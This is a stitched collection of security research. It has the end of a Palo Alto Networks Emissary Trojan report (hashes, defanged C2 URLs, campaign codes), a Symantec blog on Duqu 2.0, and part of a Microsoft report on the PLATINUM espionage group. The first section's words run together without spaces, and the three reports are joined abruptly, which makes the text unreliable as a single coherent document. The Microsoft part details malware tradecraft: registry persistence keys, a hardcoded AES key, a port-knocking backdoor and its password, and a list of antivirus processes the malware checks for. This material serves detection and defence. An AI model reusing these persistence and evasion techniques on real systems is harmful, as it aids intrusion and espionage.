Thefirstoccurredtendaysafterpublicationandwasfollowedby updatesoverincreasinglyshortertimeframes,startingatroughlyeverythreemonthsand progressingtomonthlybythefinalversiondiscussedhere.
Untilthatpublication,accordingtoour researchEmissarywasupdatedroughlyeverytwoyears.
Thisindicatesthethreatactorsmaytake noteofthreatintelligencereportingandarefullycapableofmakingimmediatechangeswhen deemednecessary.
Inadditiontothemalwareevolution,theactorsalsoshiftedfromsolelyspearphishingtargetswith attachmentstoalsocompromisinglegitimatewebsitestohostmalware.
Theconsistentupdatesto theTrojanandtheshiftintheactorsTTPssuggeststhatthisthreatwillcontinuetouseEmissaryin futureespionagerelatedattacks.
WehaveupdatedtheEmissarytagforPaloAltoNetworksAutoFocususerstotrackthisthreatusing theindicatorsdiscussedinthisblog.
EmissaryDeliveryDocuments 42b8898c07374b1fc6a4a33441aadf10e47f226d9d3bf3368a459c0e221dff73 37f752f89b0384291af23542efc08c01be962c04e3b2c881a8bc1f8771e9179f 52b7f93bd4c2d1b1818f2a9506551852e2e7b511c9298e71edb54a39f69f94f2 5cda2251059c34f55ac23941b56e248b9a1111e98f62c5a307eadbb9618592dd 70097adba2743653bc73d0a2909a13f2904dbbcc1ffdb4e9013a8e61866abf5c 9bb0288f7b98fac909ed91ec24dad0d5a31e3eec93a1641849d9dab56c23aa59 b201c89fd7bdfc625bacfd4850feaa81269d9b41ed10ba1f7c0cb1339f4a6abe ddbe42fb03bf9f4b9144396e814f13cd7054dcf238234dcb838fa9643136c03a e67d3cc1684c789c3bd02af7a68b783fd90dc6d2d660b174d533f4c0e07490f9 0c550fad82f2653bc13d9629357a2a56df82602ee0ce96aa5a31f885e3aa29df f36b7f63f46ae6afe8882b34c1ec11597c8537a3a7fa8b6521a83308940cc77b https://autofocus.paloaltonetworks.com//tag/Unit42.Emissary 08/02/2016 EmissaryTrojanChangelog:DidOperationLotusBlossomCauseIttoEvolve?PaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/02/emissarytrojanchangelogdidoperationlotusblossomcauseittoevolve/ 24/26 EmissaryInstallers/Loaders fdcd10a2c2bf802ba5b6be55c16c0bf407bcbee902b66466b0f954d2951fad2d da29b647411153b49cbf4df862e3f36209eafb8ebe8b966429edec4fb15dbce9 721676d529a0c439594502f1d53fec697adc80fa1301d2bf20c2600d99ceed4e 0069029ee4029df88f700da335a06e0e3a534a94552fe966186166b526a20b6a 9420017390c598ee535c24f7bcbd39f40eca699d6c94dc35bcf59ddf918c59ab 26e2f4f9026f19156a73ffbfde438916f24d80b8812b6cebe98167eb9be0863c 8e3b7dc3dca92d7458265e2bcd69caa558cbbf24bbbf1200b9aa924260c42480 e817610b62ccd00bdfc9129f947ac7d078d97525e9628a3aa61027396dba419b 02831316a3a04c1248605f28fb08d810230dd4411b2a1fc8187508aea6b449c5 675869fac21a94c8f470765bc6dd15b17cc4492dd639b878f241a45b2c3890fc 70561f58c9e5868f44169854bcc906001947d98d15e9b4d2fbabd1262d938629 925d2f960d8db0510f3681c038311c0c2df86c5ba03f8cb61e3c8846c31bd6e1 98fb1d2975babc18624e3922406545458642e01360746870deee397df93f50e0 a8b0d084949c4f289beb4950f801bf99588d1b05f68587b245a31e8e82f7a1b8 b07fbb92484fd2aff6d28f0ab04d5f51e96420b6d670f921b0bbe0e5392da408 c72b07f2a423abc4fc45dfddc5162b8eb1ea97d5b5e66811526433f09b6cdf41 dd8ffb9f961299f7cc9cb51e17a5cccf79b7fb583e594b05ef93b54c8cad54f6 fbcb401cf06326ab4bb53fb9f01f1ca647f16f926811ea66984f1a1b8cf2f7bb e21b47dfa9e250f49a3ab327b7444902e545bed3c4dcfa5e2e990af20593af6d EmissaryDLLVersion1.0through5.4 a7d07b92e48876e2195e5d8769a47cf0a237e11ac304e41b14fc36042b0d9484 e6c4611b1399ada920730686395d6fc1700fc39add3d0d40b4f784ccb6ad0c30 931a1284b11a3997c7a99076d582ed3436aa30409dc73bd763436dddd490f9cb 5edf2d0270f8e7eb5be3476802e46c578c4afc4b046411be0806b9acc3bfa099 08/02/2016 EmissaryTrojanChangelog:DidOperationLotusBlossomCauseIttoEvolve?PaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/02/emissarytrojanchangelogdidoperationlotusblossomcauseittoevolve/ 25/26 9dab2d1b16eb0fb4ec2095d4b4e2a3ad67a707ab4f54f9c26539619691f103f3 dcbeca8c92d6d18f2faf385e677913dc8abac3fa3303c1f5cfe166180cffbed3 5171c9a593389011da4d72125e52bf7ef86b2da7fcd6c2a2bc95467afe6a1b58 70bed57bc3484fe5dbcf3c732bd7b11f80a742138f4733bc7e9b6d03e721da4a c145bb2e4ce77c79aa01de2aec4a8b5b0b680e23bceda2c230903b5f0e119634 375190cc8e0e75cf771d66347ea2a04b6d1b59bf2f56823eb81270618f133e2d e369417a7623d73346f6dff729e68f7e057f7f6dae7bb03d56a7510cb3bfe538 29d8dc863427c8e37b75eb738069c2172e79607acc7b65de6f8086ba36abf051 46ad72811990c1937d26e1f80ec1b9def8c112817f4bb9f94e3d1e4f0fb86f80 bfceccdd553c7e26006bb044ea6d87e597c7cce08218068e31dc940e9f55b636 731cd2ce87f4c4375782de0686b5b16619f8fa2de188522cbc8e64f8851bb7ed acf7dc5a10b00f0aac102ecd9d87cd94f08a37b2726cb1e16948875751d04cc9 EmissaryC2URLs http://101.55.121[.
]79/lightserver/Default.aspx http://101.55.33[.
]92/default.aspx http://101.55.33[.
]92:80/default.aspx http://101.55.33[.
]95:80/default.aspx http://103.243.24[.
]179/Default.aspx http://118.193.221[.
]233:80/default.aspx http://123.1.159[.
]153/lightserver/Default.aspx http://123.1.159[.
]210/lightserver/Default.aspx http://140.131.39[.
]11/icanxp/help/help/default.aspx http://163.20.127[.
]27/0test/test/default.aspx http://203.124.14[.
]214/default.aspx http://203.124.14[.
]229/default.aspx http://210.209.121[.
]31/lightserver/default.aspx http://210.209.121[.
]92/lightserver/Default.aspx http://210.209.121[.
]92/weboffice/Default.aspx http://appletree.onthenetas[.
]com/Default.aspx http://bluefield.byinter[.
]net/lightserver/Default.aspx http://booking.passinggas[.
]net/lightserver/Default.aspx http://chairman.
OnTheNetAs[.
]com/weboffice/Default.aspx http://dnt5b.myfw[.
]us/Default.aspx 08/02/2016 EmissaryTrojanChangelog:DidOperationLotusBlossomCauseIttoEvolve?PaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/02/emissarytrojanchangelogdidoperationlotusblossomcauseittoevolve/ 26/26 http://dnt5b.myfw[.
]us/default.aspx http://eventlog.findhere[.
]org/Default.aspx http://grassland.
OnTheNetAs[.
]com/lightserver/Default.aspx http://groupspace.findhere[.
]org/lightserver/Default.aspx http://photograph.myfw[.
]us/lightserver/default.aspx http://ustar5.PassAs[.
]us/Default.aspx http://ustar5.PassAs[.
]us/default.aspx http://webonline.
OnTheNetAs[.
]com/lightserver/default.aspx http://www.danangqt[.
]net:80/default.aspx http://zooboo.
PassingGas[.
]net/weboffice/Default.aspx EmissaryCampaignCodes 3test FJ201508 lyk_WW A1117a QPRZ0330 YUIO ZGPM xman A1117a Flash FJ20151125 YUIO ll A1231a ux2011 RT101212 111 UPGZHG01 IC00001
June 9, 2015 Duqu 2.0: Reemergence of an aggressive cyberespionage threat symantec.com/connect/blogs/duqu-20-reemergence-aggressive-cyberespionage-threat Symantec Official Blog Attackers use new version of Duqu worm in ambitious attacks against telecoms, electronics and even information security sectors.
By: Symantec Security ResponseSymantec Employee Created 10 Jun 2015 : , 0 0 Duqu 2.0, the cyberespionage tool that was used to compromise security firm Kaspersky Lab, has also been used in a number of other attack campaigns against a range of targets, including several telecoms firms.
Analysis by Symantec concurs with Kasperskys assessment today that Duqu 2.0 (detected by Symantec as W32.Duqu.
B) is an evolution of the older Duqu worm, which was used in a number of intelligence-gathering attacks against a range of industrial targets before it was exposed in 2011.
Although their functionalities were different, the original Duqu worm had many similarities with the Stuxnet worm used to sabotage the Iranian nuclear development program.
1/4 https://www.symantec.com/connect/blogs/duqu-20-reemergence-aggressive-cyberespionage-threat https://www.symantec.com/connect/user/symantec-security-response https://www.symantec.com/connect/ja/blogs/duqu-20 https://www.symantec.com/connect/blogs/duqu-20-0 https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/ http://www.symantec.com/security_response/writeup.jsp?docid2015-061011-4334-99 http://www.symantec.com/security_response/writeup.jsp?docid2011-101814-1119-99 http://www.symantec.com/connect/w32_duqu_precursor_next_stuxnet http://www.symantec.com/connect/w32_duqu_precursor_next_stuxnet New attacks Symantec has found evidence that Duqu has been used in a number of different attack campaigns against a small number of selected targets.
Among the organizations targeted were a European telecoms operator, a North African telecoms operator, and a South East Asian electronic equipment manufacturer.
Infections were also found on computers located in the US, UK, Sweden, India, and Hong Kong.
In addition to the attack against itself, Kaspersky believes Duqu was used to target countries involved in international negotiations surrounding Irans nuclear program.
Given the diversity of targets, Symantec believes that the Duqu attackers have been involved in multiple cyberespionage campaigns.
Some organizations may not be the ultimate targets of the groups operations, but rather stepping stones towards the final target.
The groups interest in telecoms operators could be related to attempts to monitor communications by individuals using their networks.
Symantec has found no evidence to suggest that it has been affected by attacks using this malware.
Duqu 2.0 in operation This new version of Duqu is stealthy and resides solely in the computers memory, with no files written to disk.
It comes in two variants.
The first is a basic back door that appears to be used to gain a persistent foothold inside the targeted entity by infecting multiple computers.
The second variant is more complex.
It has the same structure as the first, but contains several modules that provide a range of functionality to the malware, such as gathering information on the infected computer, stealing data, network discovery, network infection, and communication with command-and-control (CC) servers.
This variant appears to be deployed to computers deemed to be targets of interest by the attackers.
Common code and code flow Duqu and Duqu 2.0 share large amounts of code, in addition to similarities in how that code is organized.
The shared code includes a number of helper functions.
For example, as shown in Figure 1, there is a gen_random function (as labelled by an engineer) that is shared between Duqu and Duqu 2.0.
Not only is that gen_random code shared, but the code that calls that function is also organized almost identically.
Such similarities in how code is called is repeated in several other locations throughout Duqu 2.0, including in how CC IP addresses are formatted, how network messages are generated, and how files are encrypted and decrypted.
2/4 Figure 1.
Duqu vs Duqu 2.0 code flow When a program needs to store data, the program author will design structures to store that data in a logical and easily accessible manner.
Duqu and Duqu 2.0 share a number of these data structures.
Network communications Another shared feature between the two variants, as shown in Figure 1, is the use of a cookie header with a hardcoded string and a random string when sending messages to a CC server.
For example: Duqu: Cookie: PHPSESSIDrandom_str_0x1A_size Duqu 2.0: Cookie: COUNTRYrandom_str_0x1A_size A second shared feature in the network communications code is to connect to a number of Microsoft URLs to retrieve a proxy address, as shown in Figure 2.
3/4 Figure 2.
Duqu vs Duqu 2.0 network code The list of Microsoft URLs connected to, by both variants, is identical.
Finally, for network communications, when Duqu uses HTTP, it will use image names in the Content-Disposition header.
For Duqu, the value DSC00001.jpg was used, whereas for Duqu 2.0, the value 05d.gif is used.
Conclusion Based on our analysis, Symantec believes that Duqu 2.0 is an evolution of the original threat, created by the same group of attackers.
Duqu 2.0 is a fully featured information-stealing tool that is designed to maintain a long term, low profile presence on the targets network.
Its creators have likely used it as one of their main tools in multiple intelligence gathering campaigns.
Given that activity surrounding the original version of Duqu dropped off following its discovery, it is likely that the group may now retreat before re-emerging with new malware.
Protection Symantec and Norton products detect this threat as: W32.Duqu.
B 4/4 http://www.symantec.com/security_response/writeup.jsp?docid2015-061011-4334-99 Duqu 2.0: Reemergence of an aggressive cyberespionage threat
PLATINUM Targeted attacks in South and Southeast Asia Windows Defender Advanced Threat Hunting Team This document is for informational purposes only.
MICROSOFT MAKES NO WARRANTIES, EXPRESS, IMPLIED, OR STATUTORY, AS TO THE INFORMATION IN THIS DOCUMENT.
This document is provided as-is.
Information and views expressed in this document, including URL and other Internet website references, may change without notice.
You bear the risk of using it.
Copyright  2016 Microsoft Corporation.
All rights reserved.
The names of actual companies and products mentioned herein may be the trademarks of their respective owners.
Table of contents PLATINUM: Targeted attacks in South and Southeast Asia........................................... 4 Adversary profile ............................................................................................................................ 4 Methods of attack .......................................................................................................................... 6 Technical details ............................................................................................................................. 11 Dipsind ................................................................................................................................................................................ 11 JPIN ..................................................................................................................................................................................... 15 adbupd ............................................................................................................................................................................... 17 Keyloggers ......................................................................................................................................................................... 18 Hot patcher ........................................................................................................................................................................ 19 Miscellaneous ................................................................................................................................................................... 20 Exploit (CVE-2015-2545) ............................................................................................................ 20 Identity ........................................................................................................................................... 22 Guidance ....................................................................................................................................... 23 Detection indicators .................................................................................................................... 24 PLATINUM: Targeted attacks in South and Southeast Asia Microsoft proactively monitors the threat landscape for emerging threats.
Part of this job involves keeping tabs on targeted activity groups, which are often the first ones to introduce new exploits and techniques that are later used widely by other attackers.
In the previous volume, STRONTIUM: A profile of a persistent and motivated adversary, on page 3 of Microsoft Security Intelligence Report, Volume 19 (JanuaryJune 2015), chronicled the activities of one such group, which had attracted interest because of its aggressive, persistent tactics and techniques as well as its repeated use of new zero-day exploits to attack its targets.
This section describes the history, behavior, and tactics of a newly discovered targeted activity group, which Microsoft has code-named PLATINUM.
Microsoft is sharing some of the information it has gathered on this group in the hope that it will raise awareness of the groups activities and help organizations take immediate advantage of available mitigations that can significantly reduce the risks they face from this and similar groups.
Adversary profile PLATINUM has been targeting its victims since at least as early as 2009, and may have been active for several years prior.
Its activities are distinctly different not only from those typically seen in untargeted attacks, but from many targeted attacks as well.
A large share of targeted attacks can be characterized as opportunistic: the activity group changes its target profiles and attack geographies based on geopolitical seasons, and may attack institutions all over the world.
Like many such groups, PLATINUM seeks to steal sensitive intellectual property related to government interests, but its range of preferred targets is consistently limited to specific governmental organizations, defense institutes, intelligence agencies, diplomatic institutions, and telecommunication providers in South and Southeast Asia.
The groups persistent use of spear phishing tactics (phishing attempts aimed at specific individuals) and access to previously undiscovered zero-day exploits have made it a highly resilient threat.
After researching PLATINUM, Microsoft has identified the following key characteristics of the group and its activities: PLATINUM has conducted several cyber espionage campaigns since at least 2009.
PLATINUM focuses on a small number of campaigns per year, which reduces the risk of detection and helps the group stay unnoticed and focused for a longer period of time.
http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf PLATINUM has focused on targets associated with governments and related organizations in South and Southeast Asia.
PLATINUM has used multiple unpatched vulnerabilities in zero- day exploits against its victims.
Spear phishing is the groups main method of infecting targeted users computers.
PLATINUM makes a concerted effort to hide their infection tracks, by self-deleting malicious components, or by using server side logic in one shot mode where remotely hosted malicious components are only allowed to load once PLATINUM often spear phishes its targets at their non-official or private email accounts, to use as a stepping stone into the intended organizations network.
PLATINUM uses custom-developed malicious tools and has the resources to update these applications often to avoid being detected.
PLATINUM configures its backdoor malware to restrict its activities to victims working hours, in an attempt to disguise post-infection network activity within normal user traffic.
PLATINUM does not conduct its espionage activity to engage in direct financial gain, but instead uses stolen information for indirect economic advantages.
In some cases, the combination of these mechanismsuse of undisclosed zero-day exploits, custom malware that is not used elsewhere, PLATINUMs skill in covering its tracks, and othershas enabled the group to compromise targets for several years without being detected.
Targeted activity groups are skilled at covering their tracks and evading detection, and it can be very difficult to definitively associate an activity group with a specific nation-state or group of individuals.
Attackers could be patriotic groups, opportunistic cyber units, state-sponsored hackers, or intelligence agents.
Although PLATINUM could belong to any one of the aforementioned categories, the group shows traits of being well funded, organized, and focused on information that would be of most use to government bodies.
PLATINUM has been targeting its victims since at least as early as 2009.
Methods of attack Figure 1.
Known victims attacked by PLATINUM since 2009, by country/region (left) and type of institution (right) PLATINUM primarily targets its intended victims using spear phishing.
There is also some data indicating the groups usage of drive-by attacks against vulnerable browser-plugins.
Although the groups methods for performing reconnaissance to determine who to pursue remains unknown, the number of victims targeted at each affected institution is consistently very small.
In some cases, the victims were targeted at their non-official email addresses, demonstrating that the scope of PLATINUMs research capabilities is fairly extensive.
For the initial infection, PLATINUM typically sends malicious documents that contain exploits for vulnerabilities in various software programs, with links or remotely loaded components (images or scripts or templates) that are delivered to targets only once.
The group has made concerted efforts towards designing their initial spear-phishes in a manner where the final payload is only delivered to the intended victim.
The group is known to have used a number of zero-day exploits, for which no security update is available at the time of transmission, in these attempts.
(
All have subsequently been addressed by security updates from the affected vendors.)
Figure 2.
A typical lure document sent by PLATINUM to a prospective victim Malaysia 51.4 Indonesia 21.4 China 11.4Singapore 4.3 India 4.3 Thailand 2.9 Other 4.3 Other government 31.4 Other 25.7 ISP 24.3 Govt - Defense 7.1 Govt - Diplomatic 7.1 Govt - Intelligence 2.9 Academic 1.4 Lure documents are typically given topical names that may be of interest to the recipient.
Such lures often address controversial subjects or offer provocative opinions, in an effort to incite the reader into opening them.
Figure 3 shows a sample of such titles.
Figure 3.
Example document titles used by PLATINUM to deliver exploits SHA1 Filename e9f900b5d01320ccd4990fd322a459d709d43e4b Gambar gambar Rumah Gay Didiet Prabowo di Sentul Bogor.doc 9a4e82ba371cd2fedea0b889c879daee7a01e1b1 The real reason Prabowo wants to be President.doc 92a3ece981bb5e0a3ee4277f08236c1d38b54053 Malaysia a victim of American irregular warfare ops.doc 0bc08dca86bd95f43ccc78ef4b27d81f28b4b769 Tu Vi Nam Tan Mao 2011.doc f4af574124e9020ef3d0a7be9f1e42c2261e97e6 Indians having fun.doc These documents were sent to intended victims in Vietnam, Indonesia, India, and Malaysia, and the filenames contain references to cities, politicians, and current events in those locations.
The oldest confirmed PLATINUM exploit was named The corruption of Mahathir, a document that was transmitted in 2009 referencing the former prime minister of Malaysia, Mahathir Mohamad.
Figure 4.
The oldest confirmed lure document sent by PLATINUM, in 2009 PLATINUMs recent activities remain focused on tactics such as these.
In February 2016, PLATINUM was observed using a legitimate website dedicated to news about the Indian government, as an infection vector.
This site, which is not associated with the Indian government itself, also provides a free email service for its users, giving them email addresses with the sites own domain name.
PLATINUM sent spear phishing messages to users of the service, which included some Indian government officials.
After infecting an unsuspecting user this way, the attackers had complete control of the users computer and used it as a stepping stone into the official network to which the user belonged.
Figure 5.
PLATINUM used a private webmail service to infect a government network PLATINUMs approach toward exploiting vulnerabilities varies between campaigns.
In one case from 2013, the target was sent a malicious document through a spear phishing email message.1 The document, when opened, used an embedded ActiveX control to download a JavaScript file from a remote site that used a previously unknown vulnerability in some versions of Windows (later designated CVE-2013-7331) to read information about the browsers installed components.2 1 Microsoft thanks Google for identifying and reporting this attack.
2 Microsoft issued Security Bulletin MS14-052 in September 2014 to address the issue.
CVE-2013-7331 has never affected Windows 10.
http://www.cve.mitre.org/cgi-bin/cvename.cgi?namecve-2013-7331 https://technet.microsoft.com/library/security/ms14-052 Figure 6.
Malicious Word 2003 files used by PLATINUM to deliver CVE-2013-7331 Filename SHA1 URL for PNG Exploit Gerakan Anti SBY II.doc 1bdc1a0bc995c1beb363b11b71c14324be8577c9 mister.nofrillspace.com/users/web8_dice/4226/space.gif Tu_Vi_Nam_Tan_ Mao_2011.doc 2a33542038a85db4911d7b846573f6b251e16b2d intent.nofrillspace.com/users/web11_focus/3807/space.gif Wikileaks Indonesia.doc d6a795e839f51c1a5aeabf5c10664936ebbef8ea mister.nofrillspace.com/users/web8_dice/3791/space.gif Top 11 Aerial Surveillance Devices.doc f362feedc046899a78c4480c32dda4ea82a3e8c0 intent.nofrillspace.com/users/web11_focus/4307/space.gif SEMBOYAN_1.doc f751cdfaef99c6184f45a563f3d81ff1ada25565 www.police28122011.0fees.net/pages/013/space.gif Figure 7.
Malicious JavaScript used by PLATINUM to perform fingerprinting on a victims browser While fingerprinting the versions of the browser plugins, the script loads a remotely hosted malicious PNG file that exploited another previously unknown vulnerability (designated CVE-2013-1331), which affected Microsoft Office 2003 SP3.3 Exploiting the vulnerability resulted in memory corruption, which allowed the attacker to execute remote code on the computer.
Figure 8.
An exploit mechanism used by PLATINUM Also a combination of lure documents with the aforementioned embedded ActiveX control was seen along with a Dipsind executable named as pp4x322.dll during a different attack.
The unique name of this executable indicated a possible DLL side-loading vulnerability also being used by PLATINUM against Powerpoint 2007.
In another case from August 2015, Microsoft investigated a malicious document (named Resume.docx) that had been uploaded to the VirusTotal malware analysis service.4 The person who submitted the file 3 Microsoft issued Security Bulletin MS13-051 in June 2013 to address the issue.
4 Microsoft thanks FireEye for identifying and reporting this attack.
http://www.cve.mitre.org/cgi-bin/cvename.cgi?namecve-2013-1331 https://technet.microsoft.com/library/security/ms13-051 did so through an IP address based in India, suggesting that the person or their organization had been targeted by the spear phish document.
Figure 9.
A malicious Word document used by PLATINUM to target a victim When the document was opened in Word, it exploited a previously unknown vulnerability in the Microsoft Office PostScript interpreter (designated CVE-2015-2545) that enabled it to execute the attackers code and drop an attacker-generated malicious DLL onto the computer.5 The DLL exploited another previously unknown vulnerability (designated CVE-2015-2546) in the Windows kernel, which enabled it to elevate privileges for the Word executable and subsequently install a backdoor through the application.6 Researching this attack and the malware used therein led Microsoft to discover other instances of PLATINUM attacking users in India around August 2015.
Figure 10.
Another exploit mechanism used by PLATINUM 5 Microsoft issued Security Bulletin MS15-099 in September 2015 to address the issue.
Windows 10 is not affected by the exploit used in this case due to built-in mitigations.
6 Microsoft issued Security Bulletin MS15-097 in September 2015 to address the issue.
http://www.cve.mitre.org/cgi-bin/cvename.cgi?namecve-2015-2545 http://www.cve.mitre.org/cgi-bin/cvename.cgi?namecve-2015-2546 https://technet.microsoft.com/library/security/ms15-099 https://technet.microsoft.com/library/security/ms15-097 In total, PLATINUM made use of four zero-day exploits during these two attack campaigns (two remote code execution bugs, one privilege escalation, and one information disclosure), showing an ability to spend a non-trivial amount of resources to either acquire professionally written zero-day exploits from unknown markets, or research and utilize the zero-day exploits themselves.
In both these campaigns the activity group included remote triggers to deactivate exploitation, with an attempt to conceal the vulnerability, and prevent analysis of the attack.
The resources required to research and deploy multiple zero-day exploits within the same attack campaign are considerable.
Such activity requires a significant amount of investment in research and development, along with the discipline to ensure that the exploits are not used until the appropriate time, and that no one involved with the project leaks them to other parties.
Technical details After gaining access to a victims computer, PLATINUM installs its own custom-built malware to communicate with the compromised system, issue commands, and move laterally through the network.
The wide collection of backdoors and tools, and the differences between them, suggest the involvement of multiple teams or vendors in the development process.
This section describes some of the tools used by the group.
Dipsind PLATINUM uses a number of different custom-developed backdoors to communicate with infected computers.
The lack of any significant evidence of shared code between any of these backdoor families is another clue as to the scope of the resources on which the activity group is able to draw, and the precautions the group is willing and able to take in order to avoid losing its ability to conduct its espionage operations.
The groups most frequently used backdoors belong to a malware family that Microsoft has designated Dipsind, although some variants are detected under different names.
Multiple Dipsind variants have been identified, all of which are believed to be used exclusively by PLATINUM.
The first variant, Win32/Dipsind.
Adha, is a lightweight application providing backdoor access to remote attackers.
It can be customized for every victim to ensure that it remains undetected in targeted networks.
It supports a small set of instructions that allow the attacker to perform basic functions, such as uploading or downloading files and spawning remote shells.
PLATINUM used four zero-day ex- ploits during these two campaigns.
https://www.microsoft.com/security/portal/threat/encyclopedia/Entry.aspx?NameWin32/Dipsind.
Adha Figure 11.
Sample configuration file for Win32/Dipsind.
A Each Dipsind file contains an embedded encrypted configuration file that acts as a control for the backdoor.
This configuration file also includes the initial command and control (CC) location the Dipsind backdoor uses in addition to the pollcommandsite variable which references a URL where additional backup CCs can be polled.
Configurable parameters include instructions on where Dipsind should install a copy of cmd.exe for spawning a remote shell, depending on the users privileges, the hours during which the backdoor should function, and exfiltrate information.
This capability allows the backdoor to confine its activities to normal working hours, making its communications harder to distinguish from normal network traffic.
Dipsind has been observed using a combination of IP addresses and domains for its CC infrastructure.
The domains are a mix of registered domains and free subdomains obtained through dynamic DNS providers.
Collected data showed that a vast majority of victim networks allowed unfiltered access to the dynamic DNS hosts.
The hosts and domains are hosted on compromised infrastructure based in several different countries, some within academic institutions.
In some cases, the backdoors are configured to connect to IP addresses instead of domain names.
These factors make it challenging to locate the activity groups infrastructure.
Figure 12 shows a sampling of CC infrastructure used by PLATINUM between 2009 and 2015.
Figure 12.
Some of the domains and addresses used by PLATINUM Registered domains Dynamic DNS Hardcoded IPs box62.a-inet.net eclipse.a-inet.net joomlastats.a-inet.net updates.joomlastats.co.cc server.joomlastats.co.cc scienceweek.scieron.com mobileworld.darktech.org geocities.efnet.at bpl.blogsite.org wiki.servebbs.net 200.61.248.8 209.45.65.163 190.96.47.9 192.192.114.1 61.31.203.98 After Dipsind.
A is installed on the victims computer, it connects to its CC server for authentication.
All network traffic is over HTTP, base64 encoded, with the underlying data encrypted using AES256 in ECB mode.
Authentication is a five-step process, as shown in the following figure: Figure 13.
Win32/Dipsind.
A initial communication protocol (as decrypted) Analysis of several samples of this variant show exactly the same AES key (AOPSH03SK09POKSID7FF674PSLI91965) in use since 2009.
The initial HTTP POST made by this backdoor appears as ud7LDjtsTHe2tWeC8DYo8A, which translates to a simple whitespace.
This sequence makes a simple network indicator usable by defenders.
A second Dipsind variant registers as a Winlogon Event Notify DLL.
This backdoor contains a minimized feature list from the original Dipsind variant, and supports a more limited number of commands.
It sets the following registry keys in the HKEY_LOCAL_MACHINE hive for persistence and functionality: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\Cscdll32\Asynchronous SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\Cscdll32\DllName SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\Cscdll32\Impersonate SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\Cscdll32\Startup SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\Cscdll32\shutdown SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cscdll32 There are at least two additional minor versions of this variant, each of which show improvements in command implementation.
One interesting feature of this variant is the way it implements a mechanism similar to port knocking to allow remote attackers to connect to a compromised computer without leaving any connection open for too long.
The sequence of events is as follows: 1.
The backdoor is installed via an exploit.
2.
The backdoor sets a registry key to open a specific UDP port through the local firewall, if any, and listens to the port for incoming traffic.
3.
At a remote location, the attacker executes a tool (called PK2 here, although the actual name of the tool is unknown) using the following parameters: Pk2.exe IP UDP Port TCP Port Password where the IP address is that of the computer with the backdoor, the UDP port is the one specified by the backdoor, and the password is a string encrypted by the tool before being sent.
4.
The backdoor receives the UDP packets, and then checks to see if the password is valid.
5.
If the password is indeed valid, the backdoor will wait for exactly 20 seconds and only then open the PK2 specified TCP port for a window of 3 seconds.
Figure 14.
How the Dipsind knocker component communicates with an attacker PK2 is also designed to connect to such open TCP ports and act as a console client for issuing commands to the backdoor.
When running PK2 as a console client, the attacker needs to re-enter the password to authenticate a second time against the backdoor, and issue commands such as sz to upload a file and rz to download a file.
During this research, one such collection of tools was obtained that had the password set to tng0pss.
All communication used by this backdoor and PK2 is encrypted.
If a connection from PK2 is not received within the 3-second window, the TCP port is shut and PK2 would need to reinitialize the port-knocking process.
JPIN In addition to Dipsind and its variants, PLATINUM uses a few other families of custom-built backdoors within its attack toolset.
These families of backdoors are significantly different in their capabilities and have completely different code bases.
While one family relies on a small number of supported commands and simple shells, the other delves into more convoluted methods of injections, checks, and supported feature sets.
Microsoft researchers refer to one such set of backdoor variants collectively as JPIN, which is the name of a service it uses when installed.
JPIN is a comprehensive tool for executing and extracting information from the compromised computer.
There is strong evidence to suggest that the developers of the JPIN and Dipsind code bases were in some way related.
JPIN has its own installer and uninstaller component, which deletes itself when it encounters a version of Windows earlier than Windows XP, or finds any of these security-related processes running: Figure 15.
Security-related processes avoided by the JPIN installer Process Security product 360tray.exe 360 Safeguard bdagent.exe BitDefender proguard.exe Process Guard blackd.exe BlackICE blackice.exe BlackICE savservice.exe Sophos Anti-Virus avp.exe Kaspersky Anti-Virus rstray.exe Rising Anti-virus cmccore.exe CMC Antivirus cmctrayicon.exe CMC Antivirus zhudongfangyu.exe 360 Safeguard After installing the backdoor, the installer deletes itself from the compromised computer.
PLATINUM uses at least three distinct JPIN variants.
One variant typically runs with a mutex named hMSVmm and installs itself in the folders appdata\Comm\Jpin and userprofile\AppData\Resource\Jpin.
After it is installed and started, the JPIN service can perform the following tasks, among others: Obtain information about the computer, such as operating system version, user name, privileges, disk space, and so on.
List running services, processes, job IDs, and task IDs.
Enumerate drives and their types.
Enumerate registry keys.
Load a custom keylogger.
Download files.
Download and upgrade itself.
Acquire network information such as DNS, IP, proxies, and so on.
Exfiltrate information over HTTP GET and POST requests, with the data stored either within the HTTP body or within the URL parameters.
Lower security settings by tampering with registry keys.
Inject content into the lsass.exe process, in order to load the keylogger module into lsass and call its exported function.
Communicate via FTP.
Send email via SMTP.
Change permissions on files using the cacls.exe command-line utility.
JPIN can also target mobile suite applications and extract data from them.
The backdoor contains code that looks for installed instances of Symbian, Blackberry, and Windows Phone management applications.
If any are found, the backdoor logs sync dates, IMEI data, phone manufacturer and model information, software version date, memory, location, and capacity, among other things.
The second JPIN variant is very similar to the first one.
It downloads the backdoor payload from remote locations via the BITS service, using the COM object for BITS.
This variant also has its own installer and uninstaller component, which deletes itself when it encounters a version of Windows earlier than Windows XP, or finds any of the processes listed in Figure 15 running.
The third known variant does not check for the processes listed in Figure 15.
It uses an installer component that includes the backdoor as payload disguised as a bitmap within its resource section.
The payload is in an encrypted and compressed form, disguised to avoid any suspicion from security solutions.
This variant has been seen installing itself into the following file system paths: appdata\Java\support appdata\support userprofile\AppData\Local\Java\Support userprofile\AppData\Local\Support adbupd Another backdoor used by PLATINUM is very similar to the Dipsind family.
It is informally referred to internally at Microsoft as adbupd, which is the name of the service under which it is installed.
